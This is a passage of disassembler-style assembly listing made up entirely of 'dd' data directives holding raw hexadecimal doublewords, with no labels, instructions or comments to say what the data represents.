		dd 761056F1h, 17BCF7AFh, 333B13h, 0A7140DD0h, 0C13CB8F0h
		dd 2B7E810Bh, 0D69767F2h, 261F34D4h, 79AE896h, 0CFDC14E9h
		dd 60704F12h, 0EB27220h, 6DFCAF55h, 8015A83Ch, 283B8F5Dh
		dd 31C6EA3h, 0F874FB04h, 9678A4FCh, 0AAE58401h,	127BC62Ah
		dd 10B5A050h, 0C78524EAh, 8DFA0270h, 2B00A02Eh,	4CB32627h
		dd 0B7CB4B2h, 176DBA16h, 96809201h, 62B7C4CFh, 8A4CD490h
		dd 428F023Ch, 68A53226h, 78B03350h, 5BB804FCh, 4029F2D5h
		dd 61CFFE69h, 917A38A5h, 7D784207h, 55E0C0B7h, 0E50EA1BEh
		dd 9CFBB8F3h, 0FD82509Eh, 60C0B252h, 3FBEE6h, 925F0DDEh
		dd 0C6C9E544h, 0D8B62F00h, 0D3051C91h, 0EED10084h, 28DD3EE8h
		dd 0E0057C7h, 1D892545h, 4B2709h, 0E55E8B2Ah, 0F17C4C0Fh
		dd 354DD00Eh, 0CAF08056h, 76BA30DCh, 0A4A60020h, 180CC34Bh
		dd 2C5874D4h, 0AD1617FAh, 0D9555A00h, 0A57A1Ch,	8A5F3704h
		dd 0BD3F3128h, 80AEC83Fh, 8C527E6Bh, 3C0CB7F5h,	68802F88h
		dd 0C990CB64h, 33004A42h, 9C633CF7h, 5E5BDDh, 0EC024BA7h
		dd 959D1DCEh, 27AC2607h, 8D03C2BDh, 9A5AD8D8h, 0DB4300B9h
		dd 45E23435h, 0D4091302h, 7995F0h, 8D5A1658h, 0FFF673h
		dd 0C56564A1h, 0C05ED1F5h, 23AB3300h, 0DBCBADE9h, 43390010h
		dd 3DC75179h, 0D20037EFh, 0EE4ACE19h, 0C456F5h,	0A0C49B5h
		dd 4CB6F2FAh, 62F81D00h, 25AC1B32h, 0F1740003h,	0F42BC9F3h
		dd 73006311h, 0D62833E1h, 0B1EB7Bh, 4353F807h, 84B83F64h
		dd 312F3800h, 1860DEB4h, 8666011Eh, 7164FD6Eh, 0DB5AD8D7h
		dd 729ACE00h, 0FAC888D5h, 94701F08h, 4F6EDCDDh,	0C03EF602h
		dd 0A1F1CE45h, 0C60030AFh, 0F76C8F03h, 0E93C0Ch, 0FDC08436h
		dd 22D93E20h, 73E78200h, 297F0F1Fh, 1D0A009Fh, 84911E0h
		dd 950E3B7Dh, 8094928Eh, 9881BE43h, 11910017h, 40A97F8Ch
		dd 6892E020h, 2E306C00h, 728BFABFh, 16D379DBh, 58D32D2h
		dd 0D00195F8h, 0D780297Ch, 0BFFF3D00h, 0D4D145A3h, 2A69017Eh
		dd 0B256E83Ch, 2CD7DCE0h, 0BCCCB924h, 0EDA92E00h, 2E270B4Bh
		dd 260C6549h, 63F000B1h, 0BD7C1F9Ah, 0CD56081Eh, 0F4DE060Ah
		dd 0D77A4B07h, 6AC0BCF0h, 92FEEA2h, 608AB8EBh, 0CF005389h
		dd 10BF3ECFh, 0AE00C878h, 4CDB1FB5h, 92B3C683h,	0F4F20034h
		dd 817D1EDEh, 0CF989F1Ch, 15237C03h, 0B79202ADh, 0B74FD440h
		dd 0CCA40010h, 95748EE9h, 0E000D9E2h, 5812F80h,	304D83A3h
		dd 4678A2E6h, 0E900C382h, 0A03EC9F0h, 303B65h, 28521FD6h
		dd 54BCE56Ah, 0BF47700h, 4B9CEC13h, 0A1E8076Dh,	4030A531h
		dd 2F63C4E1h, 0F1522216h, 0FCADA403h, 0B87688E9h, 339309EEh
		dd 9041FDDFh, 0A4860A8h, 0F7C29016h, 0B1AD3800h, 1F1ACAEBh
		dd 474CABA0h, 0D0669C7Fh, 18076420h, 0D2C4ED54h, 8065E00h
		dd 0A9EEF4BBh, 98E413FCh, 0E2884430h, 8501C075h, 6DE6E680h
		dd 2C1C141Eh, 52E9C5C0h, 73FD0Ch, 3E3313D2h, 0C81187A1h
		dd 2AFADA00h, 3C59F59h,	321C0072h, 299CD50Fh, 7AFAA639h
		dd 0FBB2F200h, 0C86BE944h, 1A21071Fh, 8EDB12DCh, 0C56F4CA0h
		dd 3500D829h, 9224B707h, 88AD36h, 0C7F6C1CDh, 15108558h
		dd 0BF343B01h, 0E9C411Ah, 0D012F1DFh, 6501180h,	48B3B8C4h
		dd 5FEBAE1Dh, 0A0DF83CEh, 0F90D1B29h, 1C6900AAh, 86459F4Ah
		dd 0B801B401h, 6D628A2Ah, 0ED603437h, 9D660304h, 0F59BCDA5h
		dd 0EE45ACB0h, 8F071074h, 70B71ACCh, 51C34280h,	0F498C8h
		dd 0A9113676h, 9B43263Fh, 8F351403h, 0B012F4CBh, 26602244h
		dd 126C346Ch, 7BA0D04Ah, 9305D330h, 1428EFF2h, 32805085h
		dd 7244EBCEh, 0C198032Dh, 4D45C725h, 0B9D0B20Fh, 605B4E3Ch
		dd 0F4D794B8h, 0C515006Eh, 0DD89CD7Dh, 502442E8h, 0D0801462h
		dd 525FBD60h, 0F29C0320h, 0B065EF3Bh, 2A1217C8h, 9ADA3A01h
		dd 0BD55C337h, 1A14C02Ch, 0DC03207Fh, 0DD8A1D0Eh, 14970816h
		dd 8255C840h, 4BDEF204h, 29C1E9Dh, 6EC58A43h, 70122486h
		dd 0F4BCAA0Ch, 46515Bh,	0D76C9AF1h, 32439065h, 521A2314h
		dd 0C2C82038h, 592263C8h, 3C34318h, 0C5232A5Fh,	53A38A5Eh
		dd 0E2AAF0C0h, 0C4A81855h, 9860F612h, 0F48C8480h, 7F6D0063h
		dd 0E30419E6h, 4F00F713h, 5F90D3B4h, 0F8B633h, 455DA3F6h
		dd 4714A60Ah, 80D02B3Fh, 0EE49146h, 5031CE65h, 9998CBh
		dd 76B115B0h, 0A9E07F53h, 0B650A000h, 2298D788h, 91720027h
		dd 0C4FD40C6h, 0BB065DE7h, 1EF4628Ch, 3BC7EEA0h, 0C300906Dh
		dd 0CC7DB34Dh, 0FD00AA2Dh, 992A6857h, 0C030C698h, 0DFFC8BF0h
		dd 0F0016427h, 7B115ED7h, 95D04105h, 7F1F01F7h,	0CEC5F354h
		dd 0FCC85102h, 1A0399Ah, 0F954443h, 0D5C0F6E4h,	13DE0036h
		dd 7EB3750h, 9207D1D7h,	63874E42h, 0DBC7BD21h, 197EC48h
		dd 6DDF5CD0h, 0CC939E05h, 6A00041Ah, 0C4F91179h, 0C090A155h
		dd 886C9C18h, 0F4543DFCh, 0CF306190h, 7C094804h, 6EDE00CBh
		dd 34F95DDAh, 0BC3F3960h, 0A3300240h, 0A2026DB9h, 0C0D1718Ch
		dd 61D693h, 0A20A1B8Ah,	153C6235h, 5D174401h, 4C632AB5h
		dd 0F12BE4h, 0F0EF0899h, 47C28CD5h, 4D67F301h, 9556FBC1h
		dd 329FB2F8h, 6110C462h, 8C8604B7h, 102B64h, 25A8FEEh
		dd 0C9708D80h, 3E946C39h, 0CE8900B7h, 0DA32E58Ch, 0CBE00C91h
		dd 64280438h, 2FC9E88h,	0F0562D7Bh, 60C0CDDFh, 37781F06h
		dd 773C38h, 5EFCC594h, 0E09EC446h, 234A009Ah, 1B6A7FE2h
		dd 3B006247h, 7A2CDE76h, 0A09C4Fh, 671582F0h, 25CB1CA1h
		dd 40AB6900h, 63B8BBAAh, 7DB50024h, 0FC39A3B3h,	0CB0027B7h
		dd 0D2F9C678h, 0F93E618h, 245E19BAh, 0A14538E3h, 3B0CF2B7h
		dd 118C7660h, 0F248DF00h, 7E53929Dh, 6B1700F8h,	9BC91D16h
		dd 86772B8Ah, 0B8EECD01h, 8DF09150h, 27F5B840h,	19A900C6h
		dd 9DE485AFh, 900073B8h, 0D3513D98h, 75710Ch, 0CE811CFBh
		dd 0FC9F9663h, 9BEEF701h, 0B3B60965h, 0B613270h, 540CBDF5h
		dd 0FC92A000h, 4F3B068Dh, 493A00C2h, 0DC765FAh,	0B66B008Ch
		dd 51AC2B6Ah, 910087B3h, 30483D7Bh, 8A1E7Fh, 8B4BB455h
		dd 860F5D53h, 35810E1Ch
		dd 17C23640h, 0EDDD0B5h, 8FF8084Ch, 0E663F900h,	360025DAh
		dd 8AC5B3C3h, 87FD86h, 960B600Eh, 7D177569h, 7B6B7200h
		dd 443FAADh, 6C350042h,	1D5F8BD8h, 0B90241F5h, 24223ECEh
		dd 0F2204125h, 0FA52C0FEh, 34E01201h, 91CA0080h, 5E298DA0h
		dd 83194D3Ah, 84240918h, 0D87BC026h, 0F360761h,	0A09778DAh
		dd 72B4BD5Fh, 309B7500h, 4599D97Eh, 1F70F722h, 0FA8407CBh
		dd 0E397EB4Eh, 0FDC02AC4h, 93F2E2D3h, 5D055CF8h, 0C6F41856h
		dd 8D460EBAh, 0EBC9CAA0h, 0B10084A7h, 19BEED6Ah, 0A6CFF10h
		dd 883B3662h, 8A1800ECh, 11E6AE7Fh, 0CD000FFEh,	93E2246Fh
		dd 38A745h, 1C0BBC1Bh, 0A8850353h, 0DE30F52Ch, 0ED25103h
		dd 3DC3E8FDh, 0E4DF01FAh, 465A331Fh, 9A7887D7h,	75004448h
		dd 1D285831h, 0C0F514FBh, 76ABDAE8h, 90082F9h, 0C485D664h
		dd 322B20h, 0B8C95CE7h,	0AC574834h, 1901F000h, 4598A61Bh
		dd 70FC00F5h, 29856469h, 9424542Bh, 360CE8FAh, 0A6C826h
		dd 3E01329Eh, 0D3809627h, 699A200h, 0D6693F1h, 864301EFh
		dd 3D6A4450h, 20B3D1DDh, 94904EC9h, 74730900h, 0CB8D7D25h
		dd 0B895002Bh, 0F104189Eh, 9005FBA7h, 6048AB1Fh, 0AAA4FC00h
		dd 8F15ADh, 342D021Ah, 1CB6CF65h, 8890F300h, 0F5068B7Eh
		dd 0EC66F8CCh, 0D4890342h, 449A9656h, 2582701Ch, 19FDD347h
		dd 0D806C6A0h, 3B733C54h, 94C83306h, 96188893h,	1BE8CFBBh
		dd 138E00EBh, 945E8B55h, 9DFCB0F1h, 0AD8F5F00h,	77C6D8BFh
		dd 3B61F76Bh, 3695E8h, 3E7E4027h, 3163852Bh, 0D0004270h
		dd 25E5A206h, 3804C04Ch, 5587CC0Ah, 0E046D111h,	92A20317h
		dd 4C0A3458h, 0C9ED04C1h, 5881EB5Bh, 7BF866EEh,	864E0FC8h
		dd 40A70DDEh, 6008A75Ch, 88226AAFh, 0A2002390h,	4B79EBF3h
		dd 1F5FC1h, 71F73F6Ch, 0F2F18641h, 0FD33E203h, 9234583h
		dd 5B7F310h, 4AC7B580h,	107B932h, 0C4162E43h, 4CFB7470h
		dd 0A50600B1h, 0F2608203h, 0D7076A93h, 8F3C9B19h, 0BEABE8E0h
		dd 13060BF3h, 7D00888Ch, 1B71EC0Ah, 57157000h, 9AB52E38h
		dd 0C8515875h, 0FB0F8848h, 59403F76h, 17F2CC5Fh, 7A31C607h
		dd 60CFFCA7h, 11A282EAh, 30FF00DAh, 6EC65CDCh, 6112FE08h
		dd 81E5588h, 0F6944Bh, 70E44D28h, 0BC908Bh, 2D39A277h
		dd 8449513Ah, 300D2407h, 63802A78h, 0CA655Ch, 9B9CFE0Ah
		dd 98B740FAh, 9E96F3Ch,	677A34h, 44A9DE7Ch, 0F089005Dh
		dd 43E28129h, 0A5EE1C96h, 8253991Ch, 955923C1h,	67DC6655h
		dd 3E0C01A4h, 26E41E3Ch, 0CC14F44Bh, 8CCB3A00h,	3F097FA5h
		dd 118301C0h, 46E63D77h, 1518808Dh, 435FC828h, 0AAEC0002h
		dd 8F212738h, 4D00C01Fh, 0D7B330EDh, 0CD157Bh, 398150D4h
		dd 780941F2h, 0D8B6CA00h, 1AE25713h, 3282CD0h, 0E7997B8h
		dd 8F2044BBh, 3858556Bh, 0F2CED700h, 64375AF0h,	42320113h
		dd 0DFA4104h, 2AC22A4h,	625545FBh, 0D67EC08Ah, 0F5DF129Ah
		dd 0A5B000FAh, 0BF33CC09h, 5A00849Ah, 5E73FB8h,	1E56A68Dh
		dd 47690F43h, 200DC3CBh, 0E404E2B1h, 0BEA20FAh,	8101C871h
		dd 0F97BB4ABh, 0A12052BEh, 4DEB00B5h, 94BD70D2h, 75775F35h
		dd 0E44B7705h, 43C002A8h, 521986h, 2B6DE572h, 9F01DFCFh
		dd 0EE317004h, 0C0C0E4CCh, 137F91h, 241D71D8h, 92DB5CBFh
		dd 3FBB032Ch, 0A7D49F0Bh, 3CF05044h, 0E6F172h, 5D96F2AEh
		dd 121D7D26h, 7FFED400h, 145F0ECh, 0C49E0068h, 40490480h
		dd 0C30082F3h, 5C054FCEh, 989155h, 7A5490D7h, 22E8492Bh
		dd 7BE1AB05h, 0C4402DCFh, 9CEE9A6h, 0D7200382h,	7BE2E779h
		dd 8A1041F5h, 19A09C9h,	13D02A04h, 7254017h, 75C538C3h
		dd 0DBCF90A6h, 0A45E00EFh, 3D71A873h, 263FE823h, 575C002Bh
		dd 80D322E6h, 0B8E9C0C9h, 69497104h, 0A8E78E01h, 0C06A0CAEh
		dd 0F3C874h, 4F5B225Eh,	30938B10h, 0E173AF18h, 0A36740h
		dd 5813BDC2h, 54F8461Eh, 527D5900h, 57EB3B91h, 0C60F0BA6h
		dd 0E4A09253h, 8908D2Fh, 0E4CEFB00h, 8F77DB78h,	9C50096h
		dd 0AB8813Dh, 6B00E921h, 837BD469h, 53C5F32h, 2A3D4193h
		dd 7403BF81h, 0E85272C5h, 7538580h, 3502F686h, 0E6EAB0DEh
		dd 0C9038D84h, 0E961ABC5h, 0F5E903FEh, 0DD7827A6h, 0D78314D0h
		dd 0BB124000h, 0AF0B2D24h, 0CC8BA1B1h, 6EC1F881h, 0F049C57Bh
		dd 6C949AF2h, 0E405961Eh, 0A20287D1h, 410AEC4Fh, 6085EF33h
		dd 409F6E9Bh, 0C07EEDD8h, 0DB2412CAh, 1E074A72h, 0CB405D47h
		dd 33830297h, 0BA99FC49h, 9A81D3B8h, 0BCA4AEE4h, 0D86D640Ch
		dd 746A50B4h, 0A8A33E2Fh, 0A0D5B918h, 0E80C1544h, 30714EC0h
		dd 8E8030C3h, 0C2AC81A9h, 8C9B24A1h, 71C8E908h,	0C1374E4Dh
		dd 872E0DCCh, 81A8B6B8h, 0C18C0E07h, 54C318B4h,	0D4E0518Bh
		dd 0D1CBF40Ch, 50171086h, 164485Fh, 0F9B010FDh,	8E5E6E4Bh
		dd 802D7141h, 0FCCD5ADFh, 0CF41E23h, 688FD5B2h,	25024A0Ch
		dd 0CA99531h, 0C35885BCh, 680483CAh, 1A5FCED8h,	0C04C84Fh
		dd 7A6440D7h, 0AAC806F5h, 1FCC1010h, 4870F5F8h,	24D1508Ch
		dd 0BE4C0064h, 9F5CE50Dh, 37705E4h, 0B096D40Ch,	6067400Eh
		dd 4D8DA12Ch, 0BC191AE3h, 6D41E6D6h, 8E675043h,	0E4B60029h
		dd 0A1A75CEFh, 20C58FA8h, 240A0D4Ah, 0B600C8C1h, 6E9A61B5h
		dd 5419C784h, 30A057C8h, 42651FEh, 76C7D51Ch, 67115C44h
		dd 90BD04C8h, 0DDB0BD6h, 0B78CB1BBh, 80978319h,	141F5BFAh
		dd 548D0F77h, 8A464322h, 0D6F3B19Ah, 99038122h,	0C02C4EA8h
		dd 11E7E9C6h, 6569C580h, 6D8B900Fh, 0FF0AE020h,	8CE3ECh
		dd 0E4D16462h, 0EF4C69B6h, 0E040806Eh, 9F3BF2D5h, 9C1C33F5h
		dd 43D7BC48h, 6100C88Ch, 0ADB25458h, 0E0A15D7h,	0A045D6ABh
		dd 68631A22h, 0E09B0040h, 8D8EDE08h, 1BEB8098h,	1FAF1325h
		dd 0E17E86F2h, 8EE7BA00h, 0F4F2458h, 0C010205h,	9B598F47h
		dd 24F1788Eh, 8C0C581Eh, 4681182h, 482CF8E4h, 8C3C8C6Bh
		dd 0A00E8A4h, 2254006h,	7327F18h, 9C6BEAC2h, 0FAD84253h
		dd 0D101E4A0h, 8A7F57DDh, 120B5B3Bh, 0D0208F70h, 0A9B266C3h
		dd 0F44867ACh, 0D61B008Ch, 0E41A5B1Fh, 710201AFh, 0F98BE242h
		dd 985848EDh, 0E96215B1h, 2500C4EBh, 0C235917Ch, 68001202h
		dd 51F8E86h, 2620405Dh,	1874ABBAh, 438A98B8h, 24A9D174h
		dd 4C1988FDh, 194A9CD4h, 0E4C19160h, 96501C01h,	0D4A8D450h
		dd 0AC007310h, 0A055EE81h, 13510729h, 0AB3BF795h, 6356BF02h
		dd 67B048B0h, 9141C090h, 0DF9737AEh, 41592200h,	1220453Ah
		dd 0CE630013h, 0D974FD35h, 0CCA68E11h, 0EAE9F8A8h, 0B09CA1C7h
		dd 0BF3C13A0h, 2AE60159h, 50AC3A4Fh, 52A07194h,	2EC628h
		dd 747995F3h, 20713E64h, 0FD465C80h, 18948586h,	5028066Ah
		dd 58BB8D42h, 0AA28004Ch, 9343956Ch, 0D21E6F31h, 0E5FEE6F5h
		dd 0F0018020h, 631F6659h, 88BCCC50h, 0AC998Dh, 0A3424041h
		dd 32A0172h, 0C706802Ah, 0B585EB7Ch, 0B3830C71h, 81F1198Ah
		dd 41C10431h, 7434A2BCh, 14BB484Eh, 0AE809F88h,	3F27D023h
		dd 1A0005Dh, 0E80F6D5Ah, 0A2002F8Bh, 22BC7F2Eh,	0FA154B8h
		dd 0E08F3EBDh, 29EE1098h, 24C308C0h, 776F440h, 0FE7E0C6Ah
		dd 0C9233015h, 963B8839h, 22841DC3h, 555FC000h,	1D1F963h
		dd 6F662DE9h, 8F23C7CDh, 260A6948h, 78705180h, 5CB3B8B4h
		dd 0C3058499h, 80C43BFFh, 4C76D26h, 0CCB478CEh,	226055h
		dd 0E06C244h, 0E171FE17h
		dd 5C2E1807h, 0E0D30193h, 15B02246h, 699C48h, 659F7F2Fh
		dd 3A5639Ah, 70E066EDh,	9107C3A1h, 1634A2FDh, 0CE7F0CC8h
		dd 63EA7419h, 0C818CA79h, 6F3014E8h, 94A054CBh,	557B37C4h
		dd 9289C368h, 56B55100h, 27D50269h, 12DD4CE4h, 0E5561A27h
		dd 90E8F71Dh, 50E37218h, 17EB431h, 762A9B49h, 8AA71794h
		dd 0A452F918h, 5D70C440h, 0CC40A154h, 2CEEA18Ch, 3200F3E9h
		dd 527AC4C7h, 0BE374ADh, 7D559BA6h, 600D12FEh, 0EC4281Ch
		dd 81EF14AFh, 0A33ABC01h, 3C55FF9Ch, 0F06079B3h, 380A7875h
		dd 74C413C9h, 8E885910h, 0E4D594h, 13BB35E7h, 0CD5F65h
		dd 89A072FEh, 4531B0EEh, 50DE2879h, 3983F6CCh, 1046317Dh
		dd 5765B4B9h, 940D70ECh, 0AE281677h, 7D14B0F0h,	22140F48h
		dd 29393970h, 87B9F69Ch, 35DC3BEBh, 24C060C6h, 4A005FBEh
		dd 0BF43EC45h, 38349032h, 0FF11F3A4h, 7CE11142h, 2D3FF843h
		dd 923A0501h, 97B542h, 150AB58h, 73CEE4B2h, 25303516h
		dd 7DA46014h, 0E1996E60h, 58E568h, 5331DF82h, 0DE336D95h
		dd 0BC0253h, 78FD5DA8h,	50B63h,	46229B24h, 0FF4FB129h
		dd 1FB0A654h, 7526188h,	16CA4593h, 0EE5571F3h, 2C8850F0h
		dd 0A618EC17h, 89613C85h, 4039DF76h, 65418745h,	283F2E6Ah
		dd 15C10272h, 49B2B47Dh, 9420CBA8h, 0D4C749FAh,	7D279507h
		dd 1B61BC49h, 52F85C54h, 3D1538h, 0CD63276Eh, 1D1F7303h
		dd 406A7770h, 75B689C2h, 820A9AD4h, 8872F2C4h, 3F9D5880h
		dd 0F836F04Bh, 1859DF71h, 0CBBB101h, 0B4350600h, 528646B1h
		dd 0C266034Eh, 0C3F5AE6Fh, 1863303Ch, 19D92080h, 0F3921CEDh
		dd 18A9D55h, 0EB906679h, 7DC850CFh, 69D04450h, 84C701B8h
		dd 0C47F0720h, 6348F050h, 0FD16006Eh, 4E65A9C6h, 0CF180309h
		dd 0DF99C2BEh, 1F789B46h, 9A09C141h, 0DF1C99AFh, 97CCEBA8h
		dd 0CC12C12h, 80833C48h, 9903F3EAh, 5300D41Dh, 431C6470h
		dd 3B7E2D29h, 0D509801Bh, 0A80245FFh, 841157A9h, 5FEBD410h
		dd 6BD07201h, 326453Fh,	475F9F8h, 0F61B5E64h, 4FA093C9h
		dd 0B0E44CA4h, 0A41A4863h, 73EE2F80h, 0D5E34F79h, 3729800Eh
		dd 0BDDCCD7Ch, 0A157017h, 0E6D61145h, 94C486B4h, 0F54D4161h
		dd 0A06F0C00h, 0C96369C5h, 3C96FC10h, 20534500h, 0E0A19E51h
		dd 0ED2800F6h, 0C2F86A7Fh, 68121194h, 84678F3h,	2441D380h
		dd 0F74C924h, 0DDA0A06Ah, 0D4685B18h, 8F8A0A00h, 2BC93E87h
		dd 4539C9A7h, 0A502C08h, 0A4548290h, 45C56020h,	2B185D64h
		dd 9EB02573h, 0E4FA89C6h, 0AD092F04h, 0A453FFBCh, 5C491848h
		dd 11CFAC91h, 0EC228EC4h, 4C91F86Eh, 0E772C470h, 42120C9h
		dd 3C108ADAh, 0D8458302h, 549278h, 11A0FA28h, 0B7660CB1h
		dd 7B717A1Ch, 44CB08F1h, 2D60EE1Bh, 7DB0AD59h, 0AA6107A4h
		dd 6082ED0Bh, 0F6B59DF0h, 0DD5FF20Ah, 6F858C80h, 2008D59Fh
		dd 0FB27800Fh, 0C64C2446h, 9502BE7Ch, 3E0A586Eh, 0A830C064h
		dd 340A167h, 0C0589C4Dh, 5DE00F0h, 0B9FD433h, 5013410Ah
		dd 0D0480660h, 4511806Ch, 773F5112h, 33082C98h,	32C28FF6h
		dd 0ECA20810h, 0B890F96Fh, 0A9C2F1EEh, 406C01C7h, 92BFFFADh
		dd 4A774490h, 0EA1CC802h, 7513151Eh, 0A31AED40h, 0AFCC9C00h
		dd 7FAC7666h, 0CAA23474h, 8370C059h, 64B24C5Dh,	22F0BF59h
		dd 0BBFC3FC5h, 0C200043Eh, 77856EE1h, 58989171h, 50805744h
		dd 524089h, 7E3A45F8h, 44E3AEEFh, 3E17FCE4h, 7206F36Ch
		dd 44D1C3FDh, 2404CDFBh, 7FFC4FF2h, 426BBDC2h, 58AC0664h
		dd 13716B0h, 0A4AC70A7h, 0D71C7FC4h, 79476972h,	0BB702CE0h
		dd 4899AD4Ah, 6092DF0h,	2C3021E1h, 1A078C9Fh, 504261Fh
		dd 0C4B55860h, 894C9176h, 800357CDh, 45FD50B9h,	8BE972DCh
		dd 0E5A0084h, 1A7EAD65h, 8961C6BBh, 39002951h, 49F5B1AEh
		dd 24900866h, 91F0C6EEh, 0D40207EDh, 20EF2811h,	0A7199469h
		dd 0BA3E0DBh, 467CFFB9h, 918FD093h, 0C8B2975Dh,	41D63C78h
		dd 0C9D8DC10h, 0EDC898B4h, 52CC00F6h, 0E9F27E84h, 5F0069D1h
		dd 564D4A78h, 7143746h,	0FFB7D010h, 913980B3h, 2124F3E0h
		dd 0FCEE5401h, 0F1A0C902h, 5E709848h, 0F24C0128h, 6F978AB5h
		dd 0F7582493h, 50BBC644h, 88DA98FDh, 0EFB0BD1Bh, 0C105D101h
		dd 0E63C80BCh, 3B694A80h, 85F51507h, 1268464Dh,	48521452h
		dd 5F34D030h, 95E30090h, 0B7B9C7EFh, 58543A8Dh,	2402BF80h
		dd 47861D16h, 50586401h, 89BE48F6h, 0C3C912CEh,	5E87F00Ch
		dd 79F865B6h, 0C10002Dh, 0DBB6A6Fh, 0BC47AA00h,	69388ABFh
		dd 899D232h, 89887280h,	44E78125h, 8047D91Eh, 9569B551h
		dd 52457D31h, 5044DC24h, 63CB44A4h, 0D2B72901h,	0A7262AC4h
		dd 0A8688C33h, 4A7D41A8h, 2149A5F9h, 0BC36A220h, 4811F062h
		dd 58D44DF9h, 2B76C088h, 411EEB9Fh, 208C4C0Bh, 0D9796601h
		dd 7194AF49h, 948FE190h, 60A37EC4h, 0C05101CAh,	14B494h
		dd 7C206AA3h, 6A17850h,	8814E026h, 6080A8C1h, 0B4881344h
		dd 3139C074h, 0E56D0A9Ah, 455F2000h, 0D6B70E89h, 9CE04921h
		dd 0F17BAB00h, 2D7DC86Dh, 0D234BB12h, 0A3638040h, 0EACFFED3h
		dd 8F099ABh, 1A44D2D5h,	4A588D42h, 33714C60h, 14C0C59h
		dd 0BA56B643h, 0D4325350h, 94405A3Ah, 0A107C0FAh, 0D887967Dh
		dd 55DCA220h, 0FB0E0742h, 698C12DFh, 0DEBF20A1h, 22A03346h
		dd 0A0B507C7h, 92669D52h, 0E89246DAh, 556B70C0h, 0E2132089h
		dd 11B79CD8h, 4438334Dh, 7200F364h, 70D48289h, 0E01C8h
		dd 0E841C56Ah, 9B40FC71h, 78F5C43Ah, 420086F8h,	0FDB98D15h
		dd 3BC5257Eh, 73B036ABh, 3E48D520h, 7C8D60E9h, 1A17E600h
		dd 71C2183Ch, 0A8440076h, 8DAAF7DFh, 0D0BD9916h, 2CD1865h
		dd 0B6AB60F4h, 0BC3FF636h, 4ED50D71h, 0E050E7C8h, 90D94159h
		dd 8866160h, 71327AC0h,	29BC2930h, 0C4D6Fh, 0A29CF981h
		dd 272B164Fh, 0BD8952F2h, 0CAA84017h, 7F439F8h,	44704106h
		dd 30507959h, 0BF592A49h, 3F0020E2h, 0A858CE99h, 30765A82h
		dd 4F989550h, 50A1BBC4h, 8A2FEA35h, 48035CC2h, 1B46D9C0h
		dd 19683F51h, 3B56C008h, 0D09148h, 760F5BD3h, 309F6B69h
		dd 6A3954C2h, 8088F5DDh, 0A051C642h, 0B2444146h, 0E6CEFAF3h
		dd 0BB3F02D1h, 4B6E1F77h, 1282A8A0h, 4605B02Fh,	6CC04752h
		dd 77A04C00h, 0F98CCF93h, 0EA301181h, 42D5C24Eh, 0C0BA5770h
		dd 0E9C6D002h, 60ED3D20h, 0AC4F8059h, 9B19DF63h, 2B901E1h
		dd 60C05285h, 0C91E601Ah, 6ED52500h, 2B83B3D8h,	4BBD33E1h
		dd 0D4F24F50h, 0FB5A3C82h, 3C3F2E20h, 5384A4C1h, 3B21ACCBh
		dd 0B0BCC130h, 0FC1014Ah, 77323792h, 483898F2h,	88E7C4B8h
		dd 8003FB33h, 60E4767Fh, 4980183Ch, 9AD04948h, 78077E7Ah
		dd 59D508Ch, 3F55C650h,	8538A037h, 62F8A65Ah, 72C06982h
		dd 1A599887h, 0B91D1960h, 0A98909CEh, 42E1545h,	7F568099h
		dd 12616A0h, 93523642h,	4CF23016h, 0D345ABB0h, 0A120D0BEh
		dd 80CC2E54h, 0A4B46F01h, 5BBDF7B8h, 0C568C48h,	0FD4A46A1h
		dd 3563DD39h, 0E0880589h, 1A7D94h, 93BD7039h, 0AD6F78C9h
		dd 1D6B7705h, 61C0EE9Ch, 29011167h, 0C4AEA1h, 569390CDh
		dd 733ECF4Bh, 0A7D21313h, 3B82D11h, 0DA6B7C67h,	8AE6C8E7h
		dd 4C4D3035h, 0E2AFA0F1h, 577B49C0h, 77835DCEh,	853B007Fh
		dd 0EA7A72B3h, 0AC73639Dh, 8E05B4ACh, 20A658FBh, 6D46EC20h
		dd 42CA01Bh, 912CB8B0h
		dd 0C09B0C0Ch, 6005A69h, 35573BF2h, 5461EE1Dh, 484FA051h
		dd 5EC4E8C1h, 13C822F2h, 0D4C31111h, 0F0565915h, 489C40D2h
		dd 0B9290542h, 525E29C0h, 636ECDEh, 0BAAB9A95h,	0F2017AE5h
		dd 481A157Dh, 49804B7Ah, 0AB3323A1h, 0CC00DF2Ah, 26B39B71h
		dd 19F459BFh, 28FA069Eh, 46E45746h, 3368795Ch, 9B8CF008h
		dd 0A9B1A8h, 3BB0E94Ch,	0F8CB390Ah, 0EF684100h,	0C66EAC15h
		dd 4C17492Bh, 3432D412h, 7AF021A8h, 0D29980E9h,	4A92535Ah
		dd 0B49554DBh, 0FE7D3078h, 0A15D6721h, 2D924B00h, 0F5063507h
		dd 0A46C758Dh, 0E6CE22B0h, 24F8AC4Dh, 0CF64E832h, 0A8323E32h
		dd 0B811D08Ch, 0A1C04C4Ch, 0E4951BAAh, 9DE9C900h, 0AF6801D4h
		dd 59626299h, 58234175h, 56793ABFh, 54F6D5C4h, 12936D01h
		dd 5B4415C1h, 4F4E1981h, 814C7EAAh, 53E05589h, 0F3D035A6h
		dd 0D5CA0074h, 8129C694h, 6B1C63D8h, 49999FF2h,	21098379h
		dd 0E0D04D2Ch, 6718BF52h, 1E212CE4h, 0CA7A3AB3h, 9E7EDC00h
		dd 8CE13097h, 3CAD5616h, 48CB7821h, 0D74F3F10h,	526060A1h
		dd 0A0204DD4h, 355F9Ah,	0C92616DDh, 0EBA836ACh,	17609603h
		dd 9D9FFF5Bh, 78488853h, 0C500BC31h, 0BBA3A63Bh, 9707C37Dh
		dd 0DE5AB71Bh, 55BEFAF3h, 90423CD0h, 891926FBh,	0DC16301h
		dd 0F1C0B492h, 68010032h, 67A1089Fh, 82298F5Ch,	80528E71h
		dd 0B111DF59h, 0D467CAEh, 0EF935649h, 43FF438h,	0D2EC61D9h
		dd 0F2397832h, 0CA008452h, 0D9451075h, 0FD066B0Ch, 1BA500Ah
		dd 50435040h, 517A804Ah, 1F3511C0h, 0D20E3Ch, 9EB716BFh
		dd 4927870Dh, 382F1C24h, 0B420166Fh, 35C8923Bh,	315168DEh
		dd 60FD3DECh, 11CF328h,	0A980DD94h, 74584212h, 0C764D26h
		dd 31E32918h, 600F855h,	47215A53h, 0BAEB54h, 91AB2359h
		dd 0E3CB73E7h, 0CFBF80A0h, 0FE1061E9h, 81004464h, 2F4DAE86h
		dd 1F1EED9Eh, 0EC5051B7h, 0D4560448h, 82FB01F5h, 18064811h
		dd 4C25D245h, 234B8C02h, 0E1002D49h, 4BDDE4Ah, 4C9305Eh
